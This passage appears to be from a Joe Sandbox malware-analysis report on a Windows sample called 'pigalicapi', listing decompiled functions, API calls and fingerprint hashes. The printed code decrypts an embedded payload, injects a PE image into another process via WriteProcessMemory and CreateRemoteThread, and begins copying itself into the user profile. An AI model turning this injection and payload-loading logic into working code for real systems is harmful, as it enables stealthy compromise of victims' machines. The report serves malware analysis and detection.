						_v20 = _t73;
						if(_v20 != 0) {
							_v24 = _v12;
							_v28 = _v20;
							_v32 = E040087B0(_v20,  *_v24) & 0x0000ffff;
							if(_v32 == 0xa) {
								_v40 =  *((intOrPtr*)(_v24 + 4));
								_v44 =  *((intOrPtr*)(_v24 + 8));
								_v36 = E040016F0(_v24 + 0xc, _v28 - 0xc);
								if(_v36 == _v44) {
									E04008630(_v24 + 0xc, 4, _v40);
									_v48 =  *((intOrPtr*)(_v24 + 0xc));
									E04008630(_v24 + 0x10, _v48, _v40);
									_v52 = _v28 - _v48 + 0x10;
									_t52 = _v48 + 0x10; // 0x10
									_t91 = E04008A70(_v24 + _t52,  &_v52, _v24 + 0x10, _v48, 0x4013410, 0x254); // executed
									if(_t91 != 0) {
										_t93 = VirtualAlloc(0, _v52, 0x3000, 4); // executed
										 *_a12 = _t93;
										if( *_a12 != 0) {
											_t60 = _v48 + 0x10; // 0x10
											E04007B70( *_a12, _v24 + _t60, _v52);
											 *_a16 = _v52;
											_v8 = _v52;
										}
									}
								}
							}
						}
						if(_v8 == 0) {
							VirtualFree(_v12, 0, 0x8000); // executed
						}
					}
					goto L13;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04008240

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 040081F1

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$DecryptErrorFreeLastRelease
String ID:
API String ID: 142027497-0
Opcode ID: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction ID: 586cb0610e47de0410656fb7eac1ad2d30ffe64d38e300cd8a2e1f05076280ab
Opcode Fuzzy Hash: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction Fuzzy Hash: 3551E7B5E00209AFEB14DF98D984BEEB7B5BB48304F14C158E905BB381D774AA40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04005930 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04005930(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v24;
				void _v52;
				intOrPtr _v56;
				signed int _v60;
				void* _t70;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0 && _a12 <= 0x10) {
					E04007B70( &_v24, _a4, 0x10);
					memcpy( &_v52, "abcdefghijklmnopqrstuvwxyz", 6 << 2);
					asm("movsw");
					asm("movsb");
					_v56 = 0;
					while(_v56 < _a12) {
						_v60 = (( *(_t70 + _v56 - 0x14) & 0x000000ff) + _v56 + 1) * (_v56 + 2) % 0x1a;
						_a8[_v56] =  *((intOrPtr*)(_t70 + _v60 - 0x30));
						if(_v56 == 0) {
							CharUpperA(_a8); // executed
						}
						_v8 = _v8 + 1;
						_v56 = _v56 + 1;
					}
				}
				return _v8;
			}

0x04005938
0x04005943
0x04005971
0x04005986
0x04005988
0x0400598a
0x0400598b
0x0400599d
0x040059c6
0x040059d6
0x040059dc
0x040059e2
0x040059e2
0x040059ee
0x0400599a
0x0400599a
0x0400599d
0x040059fb

APIs

CharUpperA.USER32(00000000), ref: 040059E2

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 0400597E

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CharUpper
String ID: abcdefghijklmnopqrstuvwxyz
API String ID: 9403516-1277644989
Opcode ID: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction ID: f69ee34caa0c5af81cf691572c0dafb25cbc9a5132ff2a0986e08936ddab1125
Opcode Fuzzy Hash: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction Fuzzy Hash: F7210C35A06108EBEF04CF98D984BDDB7B6FF85315F248569E804A7280D375AA45CF41

Uniqueness

Uniqueness Score: -1.00%

Function 04009400 Relevance: 3.1, APIs: 2, Instructions: 106
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009400(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v91;
				char _v92;
				char _v220;
				intOrPtr _t59;
				void* _t103;
				void* _t104;
				void* _t106;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_t56 = E04007B70( &_v28, _a4 + 0x45b, 0x10);
					_t104 = _t103 + 0xc;
					_v12 = _v28 ^ _v24 ^ _v20 ^ _v16;
					_v32 = 0;
					while(_v32 < _a12) {
						E04007D20(_t56,  &_v220, 0, 0x80);
						_t59 = E04008BB0( &_v12, 4,  &_v220, 0x80); // executed
						_t106 = _t104 + 0x1c;
						_v40 = _t59;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v220;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v220, _v40, _v32 * 0x1e + _a8, _v36);
						E04007D20( &_v92,  &_v92, 0, 0x32);
						_t104 = _t106 + 0x1c;
						lstrcpyA( &_v92, _v32 * 0x1e + _a8);
						_v91 = 0;
						CharUpperA( &_v92);
						 *((char*)(_a8 + _v32 * 0x1e)) = _v92;
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_t56 = _v32 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

APIs

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcpyA.KERNEL32(?,00000000), ref: 04009513
CharUpperA.USER32(?), ref: 04009521

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CharCreateDataDestroyErrorLastReleaseUpperlstrcpy
String ID:
API String ID: 2710640451-0
Opcode ID: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction ID: bc5be7810042b5ebbd7ddf8470aca826c8a0736d185973949ab2100ea4ccd4f3
Opcode Fuzzy Hash: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction Fuzzy Hash: 564119B1D00208EBEB44DFD4C881BEEBBB5EF58308F10C15AD515BB281E774AA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 100021EA Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 100021F9
SetLastError.KERNEL32(0000007E), ref: 1000223B
SetLastError.KERNEL32(0000000E), ref: 1000228B

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$HugeRead
String ID:
API String ID: 100728148-0
Opcode ID: bd318f91544f178069688045f5b296fb20421188c60a54711fd69487c4a0a276
Instruction ID: 133c763f371e93ed1e981491a31024dabb451d2fe405ffdb26697d1a1c2a5393
Opcode Fuzzy Hash: bd318f91544f178069688045f5b296fb20421188c60a54711fd69487c4a0a276
Instruction Fuzzy Hash: 3301C975A01149EFEB04DF94C985B9EBBB5EF48354F208298E909AB255C734EF40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040126C Relevance: 3.0, APIs: 2, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E0040126C() {
				int _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				__set_app_type(??);
				E00401000();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 0x18)) = 2;
				__set_app_type(_t4); // executed
				E00401000(); // executed
				_push(_t5);
				goto __eax;
			}

0x00401272
0x00401279
0x0040127f
0x00401285
0x0040128a
0x00401291
0x00401297
0x0040129c
0x004012a8

APIs

__set_app_type.MSVCRT ref: 00401291
__set_app_type.MSVCRT ref: 00401279

Part of subcall function 00401000: SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0040129C), ref: 00401033
Part of subcall function 00401000: __getmainargs.MSVCRT ref: 00401070
Part of subcall function 00401000: __p__fmode.MSVCRT ref: 0040107E
Part of subcall function 00401000: __p__environ.MSVCRT ref: 00401098
Part of subcall function 00401000: _cexit.MSVCRT ref: 004010BB
Part of subcall function 00401000: ExitProcess.KERNEL32 ref: 004010C3
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010DD
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010F1
Part of subcall function 00401000: _setmode.MSVCRT ref: 00401105

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: _setmode$__set_app_type$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 2043081007-0
Opcode ID: 95079076a23dd48875e793aac924bfe356b74353773b9bec2b3be70d01421b75
Instruction ID: 7cda7d837e108511d0981a2c678aee1b3234257573440c6a0797aaf790408f0b
Opcode Fuzzy Hash: 95079076a23dd48875e793aac924bfe356b74353773b9bec2b3be70d01421b75
Instruction Fuzzy Hash: 2BD0123400820957C2003BB9DE0B70C7AEC5700346F81057CE4C5762A6DA7464554BEF

Uniqueness

Uniqueness Score: -1.00%

Function 040097A0 Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040097A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x040097b0
0x040097b7

APIs

GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction ID: 51615621b5a1f832d01dc3b7a4cc229a82638b6a1205cca077e68d01418531cd
Opcode Fuzzy Hash: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction Fuzzy Hash: 93C09B71144308ABE6449FD8E80DD95375DE748601F004111B70DD6141CB7CAD84C762

Uniqueness

Uniqueness Score: -1.00%

Function 10001D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f230ea85c0c82a46ce4fe9d3adae6cb5bbcd7638e6efd245ab957bab051541
Instruction ID: 8f4ecb97985d5e8621b4f5fb532634e6274162181c58748ea6569eeff33a15e4
Opcode Fuzzy Hash: d8f230ea85c0c82a46ce4fe9d3adae6cb5bbcd7638e6efd245ab957bab051541
Instruction Fuzzy Hash: D6418574A04109AFEB44CF44D494BEAB7B2FB88394F24C15AEC195B359D775EE82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 10001840 Relevance: 1.5, APIs: 1, Instructions: 15libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 10001848

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d16f793e14d30ae703a09ad83dbe3b7ccdd5b75166227a635d2c9c6bbfe82863
Instruction ID: e5a886dd6f7ca33b6e05a63634625ffd61cc9a463d586fd81315a615fd3f2724
Opcode Fuzzy Hash: d16f793e14d30ae703a09ad83dbe3b7ccdd5b75166227a635d2c9c6bbfe82863
Instruction Fuzzy Hash: EBD09274A0620CEBDB10DBA9D948A8EB7FDEB08291F108598E90997204DA31AF409B90

Uniqueness

Uniqueness Score: -1.00%

Function 00401284 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00401291

Part of subcall function 00401000: SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0040129C), ref: 00401033
Part of subcall function 00401000: __getmainargs.MSVCRT ref: 00401070
Part of subcall function 00401000: __p__fmode.MSVCRT ref: 0040107E
Part of subcall function 00401000: __p__environ.MSVCRT ref: 00401098
Part of subcall function 00401000: _cexit.MSVCRT ref: 004010BB
Part of subcall function 00401000: ExitProcess.KERNEL32 ref: 004010C3
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010DD
Part of subcall function 00401000: _setmode.MSVCRT ref: 004010F1
Part of subcall function 00401000: _setmode.MSVCRT ref: 00401105

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode__set_app_type_cexit
String ID:
API String ID: 250851222-0
Opcode ID: abc5d16dfd36cc051d66f1b0a71e802486b709e19d00ad8df8ac84728067cb69
Instruction ID: 96c7857dd54b44c3e5074d738f37285bc9a5d07ca86cb9ffb3dbd1875c70a5b8
Opcode Fuzzy Hash: abc5d16dfd36cc051d66f1b0a71e802486b709e19d00ad8df8ac84728067cb69
Instruction Fuzzy Hash: 48C0123400820957C1007B79AE0B6087AEC5700305F81057CE48566296D974A41547EB

Uniqueness

Uniqueness Score: -1.00%

Function 100019F0 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,10001A51,00003000,00000004,000000BE,?,10001A51,?), ref: 10001A01

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3ccff9a06a89a97e6c3f6f2ca4e475eb5daa78dd1c2cff0adbe1b5a9ef65233e
Instruction ID: cb2b1c577f6c2eb629580bdbf47f529d576ce8939b3be3f1cb066eb9375a85c4
Opcode Fuzzy Hash: 3ccff9a06a89a97e6c3f6f2ca4e475eb5daa78dd1c2cff0adbe1b5a9ef65233e
Instruction Fuzzy Hash: 59D0C9B4685208BBE710CB84CC56F6ABBACD704751F004185FE089B280D5B1AE0056A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 1000182F

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 0afdfe0cb853849ea34192287f9d769febadd0286e44f929b2b370b7db5ff62e
Instruction ID: 84b35084efcff6c5970382eaf3cd32c1c52104bf155538fafba3cb0c341aa3c2
Opcode Fuzzy Hash: 0afdfe0cb853849ea34192287f9d769febadd0286e44f929b2b370b7db5ff62e
Instruction Fuzzy Hash: E8C04C7611430CABCB04DF98DC94DAB37ADBB8C650B04C508FA1D87204C630F9108BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04008CF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 96
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E04008CF0(BYTE* _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				long* _v24;
				char* _t31;
				int _t32;
				intOrPtr _t34;
				long** _t35;
				char* _t52;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L15:
					return _v8;
				} else {
					_v12 = 0;
					_t31 =  *0x4013370; // 0x400c6e4
					_t32 = CryptAcquireContextA( &_v12, _t31, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0);
					if(_t32 == 0) {
						_t32 = GetLastError();
						_v16 = _t32;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t52 =  *0x4013370; // 0x400c6e4
							_t32 = CryptAcquireContextA( &_v12, _t52, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t32 != 0) {
							_t34 = _a16;
							__imp__CryptHashData(_v20, _a12, _t34, 0);
							if(_t34 != 0) {
								_v24 = 0;
								_t35 =  &_v24;
								__imp__CryptDeriveKey(_v12, 0x6801, _v20, 1, _t35);
								if(_t35 != 0) {
									_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
									CryptDestroyKey(_v24);
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L15;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008D3F
GetLastError.KERNEL32 ref: 04008D49
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008D78
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008D99
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008DB1
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 04008DD5
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008DF1
CryptDestroyKey.ADVAPI32(00000000), ref: 04008DFE
CryptDestroyHash.ADVAPI32(00000000), ref: 04008E08
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008E14

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D30
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D68

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextHash$AcquireDestroy$CreateDataDecryptDeriveErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3718126946-947817771
Opcode ID: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction ID: a60922051ccac58686ce7bb6d252e90d8c3d4a9338f0118c5879c090c3d284f0
Opcode Fuzzy Hash: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction Fuzzy Hash: E5311B75A44209EBFB58DFA4C849BAE77B9FB44704F10C628F601B61C0D7B8A984CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04002510 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002510(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_v16 = VirtualAlloc(0, _v12, 0x3000, 0x40);
					if(_v16 != 0) {
						_v32 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40);
						if(_v32 != 0) {
							L7:
							E04007B70(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E04007B70(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E040026D0(_v16, _v32);
							if(WriteProcessMemory(_a4, _v32, _v16, _v12, 0) != 0) {
								VirtualFree(_v16, 0, 0x8000);
								_v28 = 0;
								_v8 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28);
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 04002564
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00003000,00000040), ref: 04002590
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 040025B0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040025CA

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction ID: c64b90f60543cdd9f1b152a56a7e8b33ad9649d5cc2119a14d9a029aa2c63625
Opcode Fuzzy Hash: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction Fuzzy Hash: D0510D75E00209AFEB18DF94C895FAEB7B5FB48305F10C558E615BB280D778A981CB64

Uniqueness

Uniqueness Score: -1.00%

Function 040074A0 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 195
stringregistryfileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E040074A0() {
				char _v524;
				CHAR* _v528;
				void* _v532;
				void* _v536;
				void* _v540;
				char _v1060;
				char _v1580;
				char _v2364;
				long _v2368;
				struct _PROCESS_INFORMATION _v2384;
				long _v2388;
				struct _STARTUPINFOA _v2460;
				void* _t86;
				void* _t121;
				void* _t123;
				void* _t124;

				E04007D20(E04007D20( &_v2364,  &_v2364, 0, 0x30c),  &_v1060, 0, 0x208);
				_t123 = _t121 + 0x18;
				 *0x4014370 = 1;
				Sleep(0x3e8);
				if(( *0x4014362 & 0x000000ff) != 0) {
					_v2368 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v1060, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v1060,  &_v2368);
					}
					lstrcatA( &_v1060, "\\");
					lstrcatA( &_v1060, "pigalicapi");
					lstrcatA( &_v1060, ".exe");
				} else {
					GetModuleFileNameA(0,  &_v1060, 0x207);
				}
				SetFileAttributesA( &_v1060, 0x80);
